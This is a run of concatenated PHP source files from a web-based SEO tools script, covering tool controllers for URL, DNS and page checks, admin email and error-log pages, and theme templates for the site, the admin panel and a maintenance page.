(filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $getHostIP = gethostbyname($host); $myHost = ucfirst(str_replace('www.','',$host)); $dataArr = dnsblookup($getHostIP); $outArr = $dataArr[0]; $overAll = $dataArr[1]; } } } } //PR31 - Suspicious Domain Checker elseif($toolUid == 'PR31') { $controller = 'output'.D_S.'avg_antivirus'; if ($pointOut == 'output') { if (!isset($_POST['data'])) redirectTo($toolURL); if (!isset($error)) { $userInput = raino_trim($_POST['data']); $regUserInput = truncate($userInput,30,150); $array = explode("\n", $userInput); $count = 0; $resOut = $resCol = array(); $color = 'red'; foreach ($array as $url) { $url = clean_with_www($url); $url = Trim("http://$url"); if (!filter_var($url, FILTER_VALIDATE_URL) === false) { $count++; $my_url[] = Trim($url); $url = parse_url(Trim($url)); $host = $url['host']; $myHost[] = ucfirst(str_replace('www.','',$host)); $stats = checkDomain($host); if($stats == 'n'){ $resOut[] = $lang['197']; $color = 'green'; } if($stats == 'l') $resOut[] = $lang['AS40']; if($stats == 'm') $resOut[] = $lang['199']; if($stats == 'h') $resOut[] = $lang['199']; $resCol[] = $color; } } } } } //PR32 - Link Price Calculator elseif($toolUid == 'PR32') { $controller = 'output'.D_S.'link_price_calculator'; if ($pointOut == 'output') { if (!isset($_POST['data'])) redirectTo($toolURL); if (!isset($error)) { $outData = raino_trim($_POST['data']); $regUserInput = truncate($outData,30,150); $array = explode("\n", $outData); $count = 0; foreach ($array as $url) { $url = clean_with_www($url); $url = Trim("http://$url"); if (!filter_var($url, FILTER_VALIDATE_URL) === false) { $count++; $my_url[] = Trim($url); $url = parse_url(Trim($url)); $host = $url['host']; $myHost[] = ucfirst(str_replace('www.','',$host)); $alexa = alexaRank($host); $alexa_rank = $alexa[0]; $alexa_rank = ($alexa_rank == 'No Global Rank' ? '0' : $alexa_rank); $price[] = "$". number_format(calPrice($alexa_rank))." USD"; } } } } } //PR33 - Website Screenshot Generator elseif($toolUid == 'PR33') { $controller = 'output'.D_S.'website_screenshot'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_url($my_url); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $myHost = ucfirst(str_replace('www.','',$host)); $file = getSiteSnap($host,$item_purchase_code); $tokenKey = randomPassword(); $_SESSION['getWebSnap'] = $tokenKey; $myImage = createLink("ajax&getWebSnap&site=$host&token=$tokenKey", true); } } } } //PR34 - Domain Hosting Checker elseif($toolUid == 'PR34') { $controller = 'output'.D_S.'domain_hosting'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_url($my_url); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $myHost = ucfirst($host); $getHostIP = gethostbyname($host); $data_list = host_info($host); $domain_isp = $data_list[2]; } } } } //PR35 - Get Source Code of Webpage elseif($toolUid == 'PR35') { $controller = 'output'.D_S.'source_code_webpage'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = clean_with_www($my_url); $my_url = "http://$my_url"; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $outData = curlGET($my_url); } } } } //PR36 - Google Index Checker elseif($toolUid == 'PR36') { $controller = 'output'.D_S.'google_index_checker'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_with_www($my_url); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $myHost = ucfirst($host); $outData = googleIndex($host); } } } } //PR37 - Website Links Count Checker elseif($toolUid == 'PR37') { $controller = 'output'.D_S.'links_counter'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = clean_with_www($my_url); $my_url = Trim("http://$my_url"); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $uriData=doLinkAnalysis($my_url); $internal_links = $uriData[0]; $internal_links_count = $uriData[1]; $internal_links_nofollow = $uriData[2]; $external_links = $uriData[3]; $external_links_count = $uriData[4]; $external_links_nofollow = $uriData[5]; $total_links = $uriData[6]; $total_nofollow_links = (int)$internal_links_nofollow + (int)$external_links_nofollow; } } } } //PR38 - Class C Ip Checker elseif($toolUid == 'PR38') { $controller = 'output'.D_S.'class_c_ip'; if ($pointOut == 'output') { if (!isset($_POST['data'])) redirectTo($toolURL); if (!isset($error)) { $outData = raino_trim($_POST['data']); $regUserInput = truncate($outData,30,150); $array = explode("\n", $outData); $count = count($array); $dataCount = 0; foreach ($array as $url) { if($url == null || $url == ""){ }else{ $url = clean_with_www($url); $url = Trim("http://$url"); if (!filter_var($url, FILTER_VALIDATE_URL) === false) { $dataCount = $dataCount+1; $my_url[] = Trim($url); $url = parse_url(Trim($url)); $host = $url['host']; $getHostIP = gethostbyname($host); $class_c = explode(".",$getHostIP); $class_c = $class_c[0].'.'.$class_c[1].'.'.$class_c[2]; $ipList[] = $getHostIP; $classCList[] = $class_c; $myHost[] = ucfirst(str_replace('www.','',$host)); } } } } } } //PR39 - Online Md5 Generator elseif($toolUid == 'PR39') { $controller = 'output'.D_S.'online_md5'; if ($pointOut == 'output') { if (!isset($_POST['data'])) redirectTo($toolURL); if (!isset($error)) { $do_hash_data = htmlspecialchars($_POST['data'], ENT_COMPAT,'ISO-8859-1', true); $regUserInput = truncate($do_hash_data,30,150); $output = MD5($do_hash_data); $limited_hash_data = truncate($do_hash_data, 50, 500); } } } //PR40 - Page Speed Checker elseif($toolUid == 'PR40') { $controller = 'output'.D_S.'page_speed_checker'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = clean_with_www($my_url); $my_url = "http://$my_url"; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $outData = checkPageSpeed($my_url,$lang['97']); $timeTaken = $outData[0]; $allLinks = $outData[1]; $cssLinks = $outData[2]; $imgLinks = $outData[3]; $scriptLinks = $outData[4]; $otherLinks = $outData[5]; } } } } //PR41 - Code to Text Ratio Checker elseif($toolUid == 'PR41') { $controller = 'output'.D_S.'code_to_text_ratio'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = clean_with_www($my_url); $my_url = "http://$my_url"; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $pageData = curlGET($my_url); if(!empty($pageData)){ $arr_res = calTextRatio($pageData); $orglen = $arr_res[0]; $textlen = $arr_res[1]; $per = $arr_res[2]; }else{ $error = $lang['183']; } } } } } //PR42 - Find DNS records elseif($toolUid == 'PR42') { $controller = 'output'.D_S.'find_dns_records'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = "http://".clean_url($my_url); if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $my_url = parse_url($my_url); $host = $my_url['host']; $myHost = ucfirst($host); $outData = dns_get_record($host, DNS_ALL); } } } } //PR43 - What is my Browser elseif($toolUid == 'PR43') { $controller = 'output'.D_S.'my_browser_info'; $myUA = $_SERVER['HTTP_USER_AGENT']; if($myUA != '') $outData = parse_user_agent($myUA); else $outData = array(); extract($outData); if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR44 - Email Privacy elseif($toolUid == 'PR44') { $controller = 'output'.D_S.'email_privacy'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = clean_with_www($my_url); $my_url = "http://$my_url"; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $content = curlGET($my_url); if($content==null || $content == ""){ $error = $lang['183']; }else{ preg_match_all("/([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,6})/", $content, $matches,PREG_SET_ORDER); if(count($matches) == 0){ $noEmail = $lang['190']; }else{ foreach($matches as $email){ $emailList[] = $email[0]; } } } } } } } //PR45 - Google Cache Checker elseif($toolUid == 'PR45') { $controller = 'output'.D_S.'google_cache_checker'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR46 - Broken Links Finder elseif($toolUid == 'PR46') { $controller = 'output'.D_S.'broken_links_finder'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); if(substr($my_url, 0, 7) !== 'http://' && substr($my_url, 0, 8) !== 'https://') $my_url = 'http://'.$my_url; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $brokenLinks = getBrokenLinks($my_url,$lang['200']); if(is_array($brokenLinks)){ $regUserInput = $my_url; $internalLinks = $brokenLinks[0]; $externalLinks = $brokenLinks[1]; }else{ $error = $lang['AS6']; } } } } } //PR47 - Search Engine Spider Simulator elseif($toolUid == 'PR47') { $controller = 'output'.D_S.'spider_simulator'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); $my_url = clean_with_www($my_url); $my_url = "http://$my_url"; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $outData = spiderView($my_url,$lang['327']); $sourceData = $outData[0]; $meta_title = $outData[1]; $meta_description = $outData[2]; $meta_keywords = $outData[3]; $textData = $outData[4]; $tags = $outData[5]; $uriData=doLinkAnalysis($my_url); $internal_links = $uriData[0]; } } } } //PR48 - Keywords Suggestion Tool elseif($toolUid == 'PR48') { $controller = 'output'.D_S.'keywords_suggestion_tool'; if ($pointOut == 'output') { if (!isset($_POST['key'])) redirectTo($toolURL); if (!isset($error)) { $inData = raino_trim($_POST['key']); $regUserInput = truncate($inData,30,150); $count = 0; $outArr = getSuggestQueries($inData,$lang['97']); } } } //PR49 - Bulk Domain Authority Checker elseif($toolUid == 'PR49') { $controller = 'output'.D_S.'domain_authority_checker'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //PR50 - Bulk Page Authority Checker elseif($toolUid == 'PR50') { $controller = 'output'.D_S.'page_authority_checker'; if(!nullCheck($pointOut)) redirectTo($toolURL); } //SD51 - Pagespeed Insights Checker elseif($toolUid == 'SD51') { $controller = 'output'.D_S.'google-pagespeed'; if ($pointOut == 'output') { if (!isset($_POST['url'])) redirectTo($toolURL); if (!isset($error)) { $my_url = raino_trim($_POST['url']); if(substr($my_url, 0, 7) !== 'http://' && substr($my_url, 0, 8) !== 'https://') $my_url = 'http://'.$my_url; if (filter_var($my_url, FILTER_VALIDATE_URL) === false) { $error = $lang['327']; }else { $regUserInput = $my_url; $pageSpeedInsight = pageSpeedInsightTool($my_url, 'desktop', true); } } } } elseif($toolUid == 'ERR') redirectTo($baseURL); if(SEO_ADDON_TOOLS){ $addonPath = CON_DIR . 'addontools.php'; if(file_exists($addonPath)){ require $addonPath; } } if($pointOut == 'output') $footerAddArr[] = '<script>var pos = $(\'#title\').offset();$(\'body,html\').animate({ scrollTop: pos.top });</script>'; //Add User into Recent History if(isset($_SESSION[N_APP.'UserToken'])){ $regUserName = $_SESSION[N_APP.'Username']; }else{ $regUserName = $lang['AS22']; } $userDate = date('m/d/Y h:i:sA'); $intDate = date('m/d/Y'); if ($pointOut != 'output') { regRecentHistory($con,$ip,$data['tool_name'],$regUserName,$userDate,$intDate); }else{ if(!isset($regUserInput)) $regUserInput = "NULL"; regUserInputHistory($con,$ip,$data['tool_name'],$regUserName,$userDate,$regUserInput); }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Send Email'; $subTitle = 'Send Email to Customers'; $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); $from = $replyTo = $message = $to = $sub = ''; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $to = raino_trim($_POST['to']); $sub = raino_trim($_POST['sub']); $message = raino_trim($_POST['mailcontent']); //Load Site Info $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $site_name = shortCodeFilter($siteInfoRow['site_name']); $adminEmail = trim($siteInfoRow['email']); $from = $replyTo = $adminEmail; if ($to != null && $sub != null && $message != null && $adminEmail != null){ $htmlMessage = '<html><body><p>'.nl2br(html_entity_decode($message)).'</p></body></html>'; //Load Mail Settings extract(loadMailSettings($con)); if($protocol == '1'){ //PHP Mail if(default_mail($from, $site_name, $replyTo, $site_name, $to, $sub, $htmlMessage)){ $msg = successMsgAdmin('Your message has been sent successfully'); $success = $lang['RF27']; $message = $to = $sub = ''; }else{ $msg = errorMsgAdmin('Failed to send your message'); } }else{ //SMTP Mail if(smtp_mail($smtp_host, $smtp_port, isSelected($smtp_auth), $smtp_username, $smtp_password, $smtp_socket, $from, $site_name, $replyTo, $site_name, $to, $sub, $htmlMessage)){ //Your message has been sent successfully $msg = successMsgAdmin('Your message has been sent successfully'); $message = $to = $sub = ''; }else{ $msg = errorMsgAdmin('Failed to send your message'); } } }else{ $msg = errorMsgAdmin('Failed to send your message'); } } ?><file_sep><?php session_start(); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ //Application Admin Path define('ADMIN_DIR', realpath(dirname(__FILE__)) .DIRECTORY_SEPARATOR); define('ROOT_DIR', realpath(dirname(dirname(__FILE__))) .DIRECTORY_SEPARATOR); define('APP_DIR', ROOT_DIR .'core'.DIRECTORY_SEPARATOR); define('CONFIG_DIR', APP_DIR .'config'.DIRECTORY_SEPARATOR); define('ADMIN_CON_DIR', ADMIN_DIR.'controllers'.DIRECTORY_SEPARATOR); //Load Configuration require CONFIG_DIR.'config.php'; //Admin Base URL $adminBaseURL = $baseURL.ADMIN_PATH; //Admin Theme Path $admin_theme = 'default'; define('ADMIN_THEME_DIR', ADMIN_DIR.'theme' . DIRECTORY_SEPARATOR . $admin_theme . DIRECTORY_SEPARATOR); if(isset($_GET['logout'])) { if(isset($_SESSION[N_APP.'AdminToken'])){ unset($_SESSION[N_APP.'AdminToken']); unset($_SESSION[N_APP.'AdminID']); } session_destroy(); session_start(); session_regenerate_id(); header('Location: '.$adminBaseURL); echo '<meta http-equiv="refresh" content="1;url='.$adminBaseURL.'">'; exit(); } //Load Functions require APP_DIR.'functions.php'; //Database Connection $con = dbConncet($dbHost,$dbUser,$dbPass,$dbName); //Start the Application require ADMIN_DIR.'app.php'; if($fullLayout){ //Theme & Output require ADMIN_THEME_DIR.'header.php'; require ADMIN_THEME_DIR.VIEW.'.php'; require ADMIN_THEME_DIR.'footer.php'; }else{ require ADMIN_THEME_DIR.VIEW.'.php'; } //Close the database conncetion mysqli_close($con);<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $fullLayout = 1; $pageTitle = 'Error Log File Viewer'; $subTitle = 'Error Log'; //Clear Error Log File if($pointOut == 'clear'){ putMyData(LOG_DIR.ERR_R_FILE,''); $msg = successMsgAdmin('Error Log cleared successfully!'); } $errData = getMyData(LOG_DIR.ERR_R_FILE); if($errData == '') $errData = 'Error log is empty!'; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <script src="<?php themeLink('js/validator.js'); ?>" type="text/javascript"></script> <script type="text/javascript">$(function () { $('#contact-form').validator(); });</script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <h2 id="title" class="text-center"><?php echo $lang['232']; ?></h2> <hr /><br /> <div id="message"> <?php if(isset($success)) { ?> <div class="alert alert-success"> <button data-dismiss="alert" class="close" type="button">x</button> <i class="fa fa-check green"></i> <b><?php trans('Alert!',$lang['RF20']); ?></b> <?php echo $success ?> </div> <?php } elseif(isset($error)) { ?> <div class="alert alert-danger"> <button data-dismiss="alert" class="close" type="button">x</button> <i class="fa fa-ban red"></i> <b><?php trans('Alert!',$lang['RF20']); ?></b> <?php echo $error ?> </div> <?php } ?> </div> <form id="contact-form" method="post" action="#" onsubmit="return captchaCodeCheckMsg()"> <h4> <?php trans('We value all the feedbacks received from our customers.',$lang['RF9']); ?></h4> <?php trans('If you have any queries, comments, suggestions or have anything to talk about.',$lang['RF10']); ?> <br/> <br/> <div class="controls"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="form_name"><?php trans('Name *',$lang['RF21']); ?></label> <input value="<?php echo $name; ?>" id="form_name" type="text" name="name" class="form-control" placeholder="<?php trans('Please enter your fullname *',$lang['RF11']); ?>" required="required" data-error="<?php trans('Fullname is required',$lang['RF12']); ?>" /> <div class="help-block with-errors"></div> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="form_email"><?php trans('Email *',$lang['RF22']); ?></label> <input value="<?php echo $from; ?>" id="form_email" type="email" name="email" class="form-control" placeholder="<?php trans('Please enter your email *',$lang['RF13']); ?>" required="required" data-error="<?php trans('Valid email is required',$lang['RF14']); ?>" /> <div class="help-block with-errors"></div> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="form-group"> <label for="form_sub"><?php trans('Subject *',$lang['RF23']); ?></label> <input value="<?php echo $sub; ?>" id="form_sub" type="text" name="sub" class="form-control" placeholder="<?php trans('Please enter your subject *',$lang['RF16']); ?>" required="required" data-error="<?php trans('Subject is required',$lang['RF15']); ?>" /> <div class="help-block with-errors"></div> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="form-group"> <label for="form_message"><?php trans('Message *',$lang['RF24']); ?></label> <textarea id="form_message" name="message" class="form-control" placeholder="<?php trans('Please enter your message *',$lang['RF17']); ?>" rows="4" required="required" data-error="<?php trans('Please leave some message',$lang['RF18']); ?>"><?php echo $message; ?></textarea> <div class="help-block with-errors"></div> </div> </div> <div class="col-md-12"> <?php if ($cap_contact) { echo $captchaCode; } ?> <button type="submit" class="btn btn-primary btn-send"><i class="fa fa-envelope"></i> <?php trans('Send message',$lang['RF19']); ?></button> </div> </div> </div> </form> <br /> <div class="xd_top_box text-center"> <?php echo $ads_720x90; ?> </div> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @theme: Default Style * @copyright 2018 ProThemes.Biz * */ ?> <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta http-equiv="Content-Language" content="<?php echo (ACTIVE_LANG); ?>" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="icon" type="image/png" href="<?php echo $themeOptions['general']['favicon']; ?>" /> <!-- Meta Data--> <title><?php echo $metaTitle; ?></title> <meta property="site_name" content="<?php echo $site_name; ?>"/> <meta name="description" content="<?php echo $des; ?>" /> <meta name="keywords" content="<?php echo $keyword; ?>" /> <meta name="author" content="Balaji" /> <!-- Open Graph --> <meta property="og:title" content="<?php echo $metaTitle; ?>" /> <meta property="og:site_name" content="<?php echo $site_name; ?>" /> <meta property="og:type" content="website" /> <meta property="og:description" content="<?php echo $des; ?>" /> <meta property="og:image" content="<?php echo (substr($server_path,-1) == '/' ? substr($server_path,0,-1) : $server_path).$logo_path?>"/> <meta property="og:url" content="<?php echo $currentLink; ?>" /> <?php genCanonicalData($baseURL, $currentLink, $loadedLanguages, false, isSelected($themeOptions['general']['langSwitch'])); ?> <!-- Main style --> <link href="<?php themeLink('css/theme.css'); ?>" rel="stylesheet" /> <!-- Font-Awesome --> <link href="<?php themeLink('css/font-awesome.min.css'); ?>" rel="stylesheet" /> <!-- Custom Theme style --> <link href="<?php themeLink('css/custom.css'); ?>" rel="stylesheet" type="text/css" /> <?php if($isRTL) echo '<link href="'.themeLink('css/rtl.css',true).'" rel="stylesheet" type="text/css" />'; ?> <!-- jQuery 1.10.2 --> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <?php if($themeOptions['custom']['css'] != '') echo '<style>'.htmlPrint($themeOptions['custom']['css'],true).'</style>'; ?> </head> <body> <nav class="navbar navbar-default navbar-static-top" role="navigation"> <div class="container"> <!-- Brand and toggle get grouped for better mobile display --> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#collapse-menu"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="<?php createLink(); ?>"> <?php echo $themeOptions['general']['themeLogo']; ?> </a> </div> <!-- Collect the nav links, forms, and other content for toggling --> <div class="collapse navbar-collapse" id="collapse-menu"> <ul class="nav navbar-nav navbar-right"> <?php foreach($headerLinks as $headerLink) echo $headerLink[1]; echo $loginNav; if(isSelected($themeOptions['general']['langSwitch'])){ ?> <li class="dropdown"> <a href="javascript:void(0)" data-toggle="dropdown" class="dropdown-toggle" aria-expanded="false"><i class="fa fa-globe fa-lg"></i> &nbsp; <?php echo strtoupper(ACTIVE_LANG); ?></a> <ul class="dropdown-menu"> <?php foreach($loadedLanguages as $language){ echo '<li><a href="'.customLangLink($_SERVER["REQUEST_URI"], $language[2], $subPath, true).'">'.$language[3].'</a></li>'; }?> </ul> </li> <?php } ?> </ul> </div><!-- /.navbar-collapse --> </div><!-- /.container --> </nav><!--/.navbar--> <?php if(isSelected($other['other']['maintenance'])){ ?> <div class="alert alert-error text-center" style="margin: 35px 140px -10px 140px;"> <strong>Alert!</strong> &nbsp; Your website is currently set to be closed. </div> <?php } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <link rel="icon" type="image/png" href="<?php themeLink('dist/img/favicon.png'); ?>" /> <title><?php echo $pageTitle .' | '. APP_NAME; ?></title> <!-- Tell the browser to be responsive to screen width --> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport' /> <!-- Bootstrap 3.3.4 --> <link href="<?php themeLink('bootstrap/css/bootstrap.min.css'); ?>" rel="stylesheet" type="text/css" /> <!-- Morris chart --> <link href="<?php themeLink('plugins/morris/morris.css'); ?>" rel="stylesheet" type="text/css" /> <!-- DATA TABLES --> <link href="<?php themeLink('plugins/datatables/dataTables.bootstrap.css'); ?>" rel="stylesheet" type="text/css" /> <!-- Font Awesome Icons --> <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css" /> <!-- Ionicons --> <link href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css" rel="stylesheet" type="text/css" /> <!-- daterange picker --> <link href="<?php themeLink('plugins/daterangepicker/daterangepicker.css'); ?>" rel="stylesheet" type="text/css" /> <!-- colorpicker --> <link href="<?php themeLink('plugins/colorpicker/bootstrap-colorpicker.min.css'); ?>" rel="stylesheet" type="text/css" /> <!-- Theme style --> <link href="<?php themeLink('dist/css/AdminLTE.min.css'); ?>" rel="stylesheet" type="text/css" /> <link href="<?php themeLink('dist/css/custom.css'); ?>" rel="stylesheet" type="text/css" /> <link href="<?php themeLink('dist/css/skins/skin-blue.min.css'); ?>" rel="stylesheet" type="text/css" /> <!-- iCheck --> <link href="<?php themeLink('plugins/iCheck/square/blue.css'); ?>" rel="stylesheet" type="text/css" /> <!-- Select2 --> <link rel="stylesheet" href="<?php themeLink('plugins/select2/select2.min.css'); ?>" /> <!-- jQuery 2.1.4 --> <?php scriptLink('plugins/jQuery/jQuery-2.1.4.min.js'); ?> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body class="skin-blue sidebar-mini"> <div class="wrapper"> <!-- Main Header --> <header class="main-header"> <!-- Logo --> <a href="<?php adminLink(); ?>" class="logo"> <!-- mini logo for sidebar mini 50x50 pixels --> <span class="logo-mini"><b>S</b>EO</span> <!-- logo for regular state and mobile devices --> <span class="logo-lg"><?php echo HTML_APP_NAME; ?></span> </a> <!-- Header Navbar --> <nav class="navbar navbar-static-top" role="navigation"> <!-- Sidebar toggle button--> <a href="#" class="sidebar-toggle" data-toggle="offcanvas" role="button"> <span class="sr-only">Toggle navigation</span> </a> <!-- Navbar Right Menu --> <div class="navbar-custom-menu"> <ul class="nav navbar-nav"> <!-- User Account Menu --> <li class="dropdown user user-menu"> <!-- Menu Toggle Button --> <a href="<?php adminLink('admin-accs'); ?>" > <!-- The user image in the navbar--> <img src="<?php echo $admin_logo_path; ?>" class="user-image" alt="User Image"/> <!-- hidden-xs hides the username on small devices so only the image appears. --> <span class="hidden-xs"><?php echo $adminName; ?></span> </a> </li> <!-- Control Sidebar Toggle Button --> <li> <a href="<?php createLink(); ?>" title="View Site" target="_blank"><i class="glyphicon glyphicon-globe"></i></a> </li> <li> <a href="<?php adminLink('?logout'); ?>" title="Logout"><i class="glyphicon glyphicon-off"></i></a> </li> </ul> </div> </nav> </header> <!-- Left side column. contains the logo and sidebar --> <aside class="main-sidebar"> <!-- sidebar: style can be found in sidebar.less --> <section class="sidebar"> <!-- Sidebar user panel (optional) --> <div class="user-panel"> <div class="pull-left image"> <img src="<?php echo $admin_logo_path; ?>" class="img-circle" alt="User Image" /> </div> <div class="pull-left info"> <p>Welcome Back </p> <!-- Status --> <p style="font-size:15px;"><a href="#"><?php echo $adminName; ?>!</a> </p> </div> </div> <!-- Sidebar Menu --> <ul class="sidebar-menu"> <!-- Optionally, you can add icons to the links --> <?php define('ADMIN_LINKS',true); require ADMIN_CON_DIR.'links.php'; ksort($menuBarLinks); foreach($menuBarLinks as $menuBarLink){ $isActive = $subMenuLinkData = ''; $subMenuConNames = array(); if($menuBarLink[0]){ if(isset($menuBarLink[4])){ foreach($menuBarLink[4] as $subMenuLink){ if(!isset($subMenuLink[3])) $subMenuLinkData .= '<li><a href="'.$adminBaseURL.$subMenuLink[1].'"><i class="'.$subMenuLink[2].'"></i>'.$subMenuLink[0].'</a></li>'; $subMenuConNames[] = $subMenuLink[1]; } if (in_array($controller,$subMenuConNames)) $isActive = 'active'; echo '<li class="treeview '.$isActive.'"> <a href="#"><i class="'.$menuBarLink[3].'"></i> <span> '.$menuBarLink[1].'</span> <i class="fa fa-angle-left pull-right"></i></a> <ul class="treeview-menu"> '.$subMenuLinkData.' </ul> </li>'; } else { if($controller == $menuBarLink[2]) $isActive = 'active'; if($menuBarLink[2] == 'dashboard') $menuBarLink[2] = ''; if($menuBarLink[2] == 'header-li') echo '<li class="header">'.$menuBarLink[1].'</li>'; else echo '<li class="'.$isActive.'"><a href="'.$adminBaseURL.$menuBarLink[2].'"><i class="'.$menuBarLink[3].'"></i> <span> '.$menuBarLink[1].'</span></a></li>'; } } } ?> </ul><!-- /.sidebar-menu --> </section> <!-- /.sidebar --> </aside><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ $protocol = ('HTTP/1.1' == $_SERVER["SERVER_PROTOCOL"]) ? 'HTTP/1.1' : 'HTTP/1.0'; header("$protocol 503 Service Unavailable", true, 503); header('Retry-After: 3600'); $pageTitle = trans('Site is down for maintenance',$lang['RF80'],true); $message = htmlspecialchars_decode($other['other']['maintenance_mes']); ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title><?php echo $pageTitle; ?></title> <style> <?php echo getMyData(LIB_DIR.'maintenance.css'); ?> </style> </head> <body> <div id="wrapper"> <div id="container"> <div id="content_container"> <div id="imageBox"> <img alt="<?php echo $pageTitle; ?>" 